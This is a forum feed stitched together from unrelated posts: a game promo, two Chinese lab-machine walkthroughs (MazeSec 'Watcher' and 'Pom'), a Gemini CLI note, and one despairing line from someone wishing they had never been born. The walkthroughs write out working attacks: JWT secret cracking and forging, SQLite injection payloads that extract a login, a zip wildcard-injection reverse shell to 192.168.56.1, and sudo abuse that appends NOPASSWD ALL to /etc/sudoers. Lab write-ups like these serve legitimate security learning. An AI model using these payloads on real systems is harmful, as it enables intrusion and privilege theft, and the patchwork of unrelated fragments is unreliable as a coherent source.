Just Be Patient is a short, atmospheric interactive experience about waiting, noticing, and slowly figuring out what is really going on. It does not rush you with complicated controls or loud objectives https://justbepatient.online/ . Instead, it invites you to stay present, pay attention to small details, and let the story unfold at its own pace. The game feels quiet, a little mysterious, and strangely personal. Every moment is designed to make you wonder whether patience is just part of the gameplay, or the real message behind it. If you enjoy small experimental games with emotional tension, simple interaction, and a sense of hidden meaning, Just Be Patient is the kind of game that stays in your head after you leave.
靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:Watcher 作者 :Yolo 也是很久没有打了,前面的都是打完很久才来复盘。这次来个新鲜的,刚出来,今天刚打完的靶机。 关于靶机配置之前讲过了,这里就不多说了。 最近换成用wsl的kali了,只能是nat网络,所以靶机都用的Host-only,所以都是走的 192.168.56.0/24这个网段 该网段windows侧的ip为 192.168.56.1 。这样会导致我的kali能访问到靶机,但是靶机访问不到kali。 这里就相当于windows和靶机都是一个”公网ip“,kali是windows的nat后面的”私网ip“ 我换wsl主要是不想每次去多开一台虚拟机,还有vmware那个桥接网络不知道为什么ip老是变甚至有时候ipv4都没有,还要我手动续租什么的。但是这也有个问题就是反弹shell就做不了,我的做法是windows上装一个nc监听来平替。 话不多说,直接开打。 信息收集 靶机ip: 192.168.56.106 端口扫描 ┌──(kali㉿JYlover)-[~/tmp] └─$ nmap -p- 192.168.56.106 开放22、5000端口。 只有一个5000端口有价值,但是我们又不知道 upnp 是啥,我尝试去浏览器访问一下。 是一个web页面,那么入口点肯定就是web了,那我们就开始web渗透 web渗透 看到登录框先是尝试了一下sql注入等。但是都没什么用,这里不知道怎么办的话可以先扫一下目录,这也是一般web渗透的流程。 就只有一个登录一个注册。 那我们直接注册一个账号好了。 进来后我们尝试访问系统管理页面,但是发现说我们权限不足,权限是 normal 这里的权限认证大概率就是jwt了,但是我们还是尝试抓个包看看 果然就是jwt。我们去爆破一下密钥。 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -C -d jwtkey.txt 成功拿到jwt密钥: maze 尝试伪造。 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -I -pc level -pv admin -S hs256 -p "maze" 拿到密钥: [+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6ImFkbWluIiwiaWF0IjoxNzgwMzg0MTgzLCJleHAiOjE3ODAzODc3ODN9.EP8qh3LLC4wozyqw3n-yFHuyfZi5uIoPvD8f34972XM 也可以直接去jwt官网用密钥修改。 然后直接去浏览器的 开发者工具–>应用–>cookie中替换新的jwt即可: 然后就可以正常进入系统管理页面了。 然后是改系统设置的地方,这里抓个包。 我们在value这里试试也没有sql注入。 造成sql语法报错,存在sql注入,而且这里大概率是update语句,那union注入就行不通了。但是因为这里会把更新成功的value给回显出来,所以我们尝试子查询。 这里是报没有 database() 函数,那说明我们的sql语句是没问题的,只是函数错了,那这是个好事啊。说明只是这不是mysql数据库,查询是对的,我们换sqlite的函数试试。 果然是sqlite。那后面就是直接sql注入了,不过多讲解。 最终payload: {"key":"theme","value":"light',value = (select group_concat(tbl_name) from sqlite_master )--+"} # "current_value": "users,users,sqlite_sequence,settings,settings,secret" {"key":"theme","value":"light',value = (select group_concat(sql) from sqlite_master where tbl_name = 'secret' )--+"} # "current_value": "CREATE TABLE secret (id INTEGER PRIMARY KEY AUTOINCREMENT,secret TEXT NOT NULL )" {"key":"theme","value":"light',value = (select group_concat(secret) from secret )--+"} # "current_value": "watcher:mazesec123q1231w!@#!@@#$" 获得登录凭证: watcher:mazesec123q1231w!@#!@@#$ 然后就可以直接ssh登录了。 flag{user-c3949567202847f1ad8664095f0a94e4} 权限提升 我们先老规矩传 pspy64 上去看看: 注意到这里两行: 2026/06/02 08:15:50 CMD: UID=0 PID=408 | /bin/bash /opt/autoarchive/sync.sh 2026/06/02 08:15:50 CMD: UID=0 PID=407 | inotifywait -m -e create /home/watcher/uploads 以root身份执行的一个一个脚本 /opt/autoarchive/sync.sh 可能是脚本中执行的命令 :inotifywait是监控文件系统的工具 $ inotifywait -m -e create /home/watcher/uploads # -m参数:持续监控模式。 # -e参数:指定事件类型 ,这里指定creat事件 实时监控 /home/watcher/uploads 目录,当有新文件或子目录创建时,立即输出事件信息。 说明如果uploads文件夹发生变化会触发一些东西。那这个uploads文件夹我们去看看。 随便在目录下创建一点东西。 创建的瞬间就自动执行了脚本 /opt/autoarchive/archive-helper ,肯定是想去看看这个脚本是做什么的,但是这个目录我们没有权限 watcher@Watcher:/opt$ ls -al total 16 drwxr-xr-x 4 root root 4096 May 22 12:16 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwx------ 2 root root 4096 May 22 12:29 autoarchive drwxr-xr-x 5 www-data www-data 4096 May 22 11:55 watcher 这里我们虽然不知道这个脚本是做什么的,但是静下来想一下: 一个脚本,参数是我们刚刚创建的文件。那么就很有可能是监控并把产生的文件给打包到哪里去吧。但是想不到打包这个操作也没事(而且zip,gzip,这么多打包命令也不知道是哪个) 此时我们可以打开pspy的文件系统监控功能。 watcher@Watcher:~$ ./pspy64 -fp # pspy默认是监控进程,但是有了-f参数就是文件系统,-p参数是进程,所以我们同时监控两个 很明显抓到了调用了zip命令。 这里是有几率抓到一条zip命令的进程的,只是我们的文件太小了,zip压缩太快了,而pspy的原理其实是通过查看/proc目录实现监控的,所以太快的话就可能抓不到。 这里抓到这个包是要有点运气的,比较稳的方法是压缩一个超大文件,这里我就没有去演示了。 还有一点是实验可以发现,这个脚本应该就只是检测txt文件,如果是其他文件的话不会触发压缩。 既然是zip命令的话我们就很明显了,应该是使用zip打包时使用了通配符打包所有文件。 那这样就存在一个通配符参数注入的问题。 我们查一下 GTFObins 是可以做到命令执行和文件读取的,我们可以利用文件名做参数注入: 先准备一个反弹shell的脚本 watcher@Watcher:~/uploads$ cat shell.txt #!/bin/bash bash -i >& /dev/tcp/192.168.56.1/9999 0>&1 给脚本添加可执行权限,并创建参数注入文件 watcher@Watcher:~/uploads$ chmod +x shell.txt watcher@Watcher:~/uploads$ >'-T -TT shell.txt' 然后nc监听等待回弹shell就好了(我这里又创建一个1.txt是为了触发脚本) 关于zip提权 这里稍微了解一下zip的这个参数问题。 zip存在两个参数: -T :测试zip文件完整性, -T 会调用 unzip -tqq 来测试 -TT :用你指定的命令来测试,如: -TT cmd :使用 cmd 作为解压测试的命令。zip 会创建一个临时文件,执行 cmd tmpfile.zip ,如果命令返回 0 则认为测试通过。 注意 :这里的 cmd 是一个外部可执行程序,也就是说它可以是一个命令,也可以是一个shell脚本。 所以这里就会执行这个命令 回到我们构造的payload: 我创建了一个文件: watcher@Watcher:~/uploads$ >'-T -TT shell.txt' 此时文件夹存在文件 -T -TT shell.txt 和文件 shell.txt 其中shell.txt是反弹shell脚本。 此时后台root可能执行了: zip shell.txt -T -TT shell.txt 后面这个文件就被当作参数执行了。 其他做法 这里分享一些其他解法。来自其他群友的wp sleep替换 解法来自——Aristore 附上群友wp截图: 说实话这里的sleep命令的发现,我还没有复刻,不管是pspy还是上面的命令都没有抓到。 但是这个方法是稳定可行的。 原因是他这里看了 /proc/$NEW_PID/cmdline ,这个文件里是进程的启动命令。 所以启动命令是 sleep 3 ,这里使用的相对路径,我们可以直接看一下脚本源码: root@Watcher:/home/watcher/uploads# cat /opt/autoarchive/sync.sh cat /opt/autoarchive/sync.sh #!/bin/bash WATCH_DIR="/home/watcher/uploads" HELPER_PATH="${AUTOARCHIVE_HELPER:-/usr/local/bin/archive-helper}" mkdir -p /root/backups inotifywait -m -e create "$WATCH_DIR" | while read -r path action file do case "$file" in *.txt) sleep 3 cd "$WATCH_DIR" || exit 1 export PATH="$WATCH_DIR:$PATH" # Archive all .txt files after each new .txt file event. "$HELPER_PATH" *.txt >> /var/log/autosync.log 2>&1 ;; esac done 其实这个方法之所以能成功是很多巧合的,所以也只能算是学习一种思路吧。 这里看一下出题人说的: 是为了预期解能成功所以添加了PATH变量,再加上sleep没有使用绝对路径(一般都不会用绝对路径吧),所以导致执行sleep时会默认去uploads目录下找,此时我们在uploads下创建sleep文件才能被执行。算是一种非预期解吧。 CVE-2026-43494-PinThef 解法来自——BR 该内核漏洞也可直接提权,这里这个CVE我还没有太了解过,就没有复现了,后续可能找时间了解。大家可自行复现。 这里附上群友的wp截图: 知识点总结 通过这次靶机可以了解到以下知识点,大家打完后可以复习一下: jwt 的密钥爆破及payload伪造 sqlite注入(UPDATE的注入使用子查询,而不是union等) zip命令的通配符参数注入( -T -TT shell.txt ) sleep命令替换(非预期,可学习思路) 1 个帖子 - 1 位参与者 阅读完整话题
靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:Pom 作者 :Sublarge AI 总结 这篇复盘记录了一台 Linux 靶机从信息收集到 root 提权的完整过程。整体思路是:先通过 nmap / rustscan 发现异常端口 55555 ,再使用 openssl 连接 SSL 服务拿到初始 shell;随后进行本地信息收集,利用密钥文件解出 SSH 密码,稳定登录后通过 sudo -l 分析权限,依次借助 Java 执行、软链接覆盖和 Maven 插件命令执行完成横向移动与提权。 核心知识点包括:端口扫描与服务识别、异常端口利用、socat shell 原理、Linux 本地枚举、密钥文件解密、sudo 权限分析、Java 代码执行、软链接利用,以及 Maven 命令执行提权。 这是我通关的第一台靶机,今天来好好复盘一下,毕竟很多东西我完全不知道,都是ai的。 复盘就不说主机发现了,毕竟真实环境也不会在同网段吧。 靶机ip: 10.216.75.62 信息收集 拿到靶机第一步肯定是信息收集扫端口,目前对我来说nmap扫端口的功能就够了,但是我习惯用 rustscan 调用nmap的脚本深度扫一下,然后用ai工具总结一下。(总觉得会发现多一点东西),还有就是以后会遇到有敲门等功能, rustscan 的多线程是很有可能直接敲开的(但是好像必须是顺序敲门,这也是敲门策略的大忌,但是不排除就是有人这么设置吧,毕竟最大的漏洞就是人),ok不扯了。 nmap -p- 10.216.75.62 #-p-表示全端口扫描,也可以 -p 指定端口,例如:nmap {ip} -p 22 看到除了22端口外(22是ssh默认端口,所以靶机都会开的),还开了 80、55555 端口,这个55555就很不正常,应该有什么特殊的东西。 55555 我们暂时没有任何信息,所以没办法入手,所以只能去web端口看一看。 是一个 Spring Boot 框架的默认错误页面 也是什么都没有,那这时候一般就会去扫一遍目录了。 扫了目录也没有什么有用的东西,这个时候基本就线索断了。 那么我们只能寄希望于 55555 端口了。但是我们根本不知道这是什么,所以回去进行进一步探测。 我们用 rustscan 扫一下,他是会自动调用nmap脚本深入探测的。 rustscan -a 10.216.75.62 -p 55555 --ulimit 5000 -- -A -sC -sV 输出很多,我们用ai总结一下。 这里顺便打个广告,自己写的小工具,调用llm-api自动总结上一条命令。 终端命令-what ,(随意开发的,也就vibe了一两天,有什么建议都可以提提issues,点点star) 效果大概这样: 我们直接按照ai给的建议来建立ssl连接。 openssl s_client -connect 10.216.75.62:55555 -quiet 直接就弹回来一个shell了。成功拿到user-flag flag{user-f823e147843dd5b23f0ac9d243ae12fb} 复盘-shell来源 这里好奇为什么能直接获得一个shell呢。 我们ps看一下当前的进程(前面一些没用的就不看了): 我们看到这一行 2438 mav1234 0:00 socat -d -d OPENSSL-LISTEN:55555,cert=/home/mav1234/.local 有一个进程以 mav1234 的身份在用 socat 监听55555端口,应该是一个定时任务 cert=/home/mav1234/.local 是用于验证的证书 所以我们用 openssl 向该端口发起连接请求,就会弹回来一个 mav1234 的shell了。 这里其实就是反弹shell的逆向过程,我们主动连接靶机,这就要求靶机上开放了特定端口有这个服务。而我们平时选择反弹shell就是因为,它不需要靶机开放什么服务,是靶机去主动连接我们 获得shell之后的信息收集 我们通常获得了基础的shell之后就要进一步的信息收集,因为在shell之外很多信息是收集不到或者不方便的。 最普遍的就是看看: sudo -l :是否有一些特定的sudo权限 ls -l /home :看看有哪些用户,判断是否会要横向,但是一般都是要的 ls -al /opt : Optional Application Software (可选应用软件),除了apt等系统软件之外,很多自己安装的软件都会在这个目录下,比如手动安装的 Google Chrome 、 TeamViewer 、 MongoDB 、 PostgreSQL 、 Discord 、 VS Code 等,都可能出现在这里。靶机作者也经常把入口放在这里。 还有就是 /etc/passwd /etc/shadow 这些常规的文件了 其他就是得随机应变了,这些都没有思路的话再去深入的探索 我们这边先看一下家目录还一个文件。 sh-5.2$ cat journel cat journel I’ve encrypted my secret with my key. No one else can read it now. It’s safely hidden away:) # 我已经用我的密钥加密了我的秘密。现在除了我谁也读不到了。它安全地藏起来了:) 有秘密,应该是提示,找一下。 找到了 meta 文件和 pem 文件, meta是元数据,pem是证书,公钥私钥等文件。 猜测应该是meta用pem解密会得到什么东西。 我们还是可以用openssl来解密。 得到 MvxPf8yCB8lxXk5A ,猜测是ssh密码,我们尝试ssh登录稳定一下shell(因为这样ssl连接的shell很不稳定,用起来不方便) 登录成功。 再信息收集一下 看到有3个用户,并且我们有另外一个用户的 java 权限。那很明显就是用java横向了。相当于任意java代码执行了。 先写一个java的一句话木马, -bash-5.2$ cat Exploit.java public class Exploit { public static void main(String[] args) throws Exception { ProcessBuilder pb = new ProcessBuilder("/bin/bash"); pb.inheritIO(); pb.start().waitFor(); } } sudo -u qc2000 /usr/bin/java -cp /tmp Exploit 这里就横向成功了,但是这里要注意的是,不要放在自己家目录,因为 qc2000 可能会没有权限访问,所以会报错找不到class文件。 接着看一下sudo权限。 bash-5.2$ sudo -l Matching Defaults entries for qc2000 on Pom: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for qc2000: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User qc2000 may run the following commands on Pom: (terra536) NOPASSWD: /home/terra536/ln 有一个ln命令的权限,应该就是打软连接,首先想到的是连接ssh公钥之类的。 但是就算是有链接,不管是硬链接还是软连接,如果源文件没有权限,那链接文件也一样看不了。那就不是这么打的了。 这里有一个点,那就是这个 ln 命令 /home/terra536/ln 。这是家目录的ln,而不是 /usr/bin 下面的 我们是不是可以尝试修改这个命令呢。 写一个shell脚本 用 /home/terra536/ln 打把shell脚本给链接到自己上面(用-f参数强制覆盖原来内容) 然后我们运行 /home/terra536/ln 就相当于在运行shell脚本了,而且是以 terra536 的身份运行的 开始 qc2000@Pom:/tmp$ chmod +x /tmp/hacker.sh qc2000@Pom:/tmp$ cat hacker.sh #!/bin/bash /bin/bash -i qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /tmp/hacker.sh /home/terra536/ln qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln Pom:/tmp$ id uid=1002(terra536) gid=1002(terra536) groups=1002(terra536) Pom:/tmp$ whoami terra536 ``` 最后就是maven的插件命令执行提权,因为我们有maven的root权限,只需要用maven执行对应的命令就好,反弹shell或者直接给其他用户无密码执行所有命令的权限,写进/etc/sudoers(这里是一种演示,还有很多其他插件,大家可以去学习一下。并且演示这种也是需要一个最小pom.xml文件的) ```bash bash-5.2# sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'echo \"terra536 ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers'" [INFO] Scanning for projects... [INFO] [INFO] ---------------------------< hacker:exploit >--------------------------- [INFO] Building exploit 1.0 [INFO] from pom.xml [INFO] --------------------------------[ jar ]--------------------------------- [INFO] [INFO] --- exec:3.6.3:exec (default-cli) @ exploit --- [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2.855 s [INFO] Finished at: 2026-05-01T22:56:54+08:00 [INFO] ------------------------------------------------------------------------ bash-5.2# sudo su - root@Pom:~# ls /root root.txt root@Pom:~# cat root.txt flag{root-4a29b2f65b40052a804c0cc4afb906bd} 2 个帖子 - 2 位参与者 阅读完整话题
DEV Community Using Gemini CLI with Vertex AI (Without Worrying About Your Data) If you've been playing around with Gemini CLI, you might have glossed over a small but important... 自存,用于使用GCP赠金计费以及 No training data opt-in – your inputs aren’t used to improve Google’s models Enterprise compliance – easier to satisfy security reviews and internal policies Audit logging – Cloud Logging captures every API call, useful for debugging and compliance Keyless auth – no credentials file to accidentally commit or rotate 3 个帖子 - 2 位参与者 阅读完整话题
I have thought about that many times for many years, how great would it be if I never be borned in this world. 1 个帖子 - 1 位参与者 阅读完整话题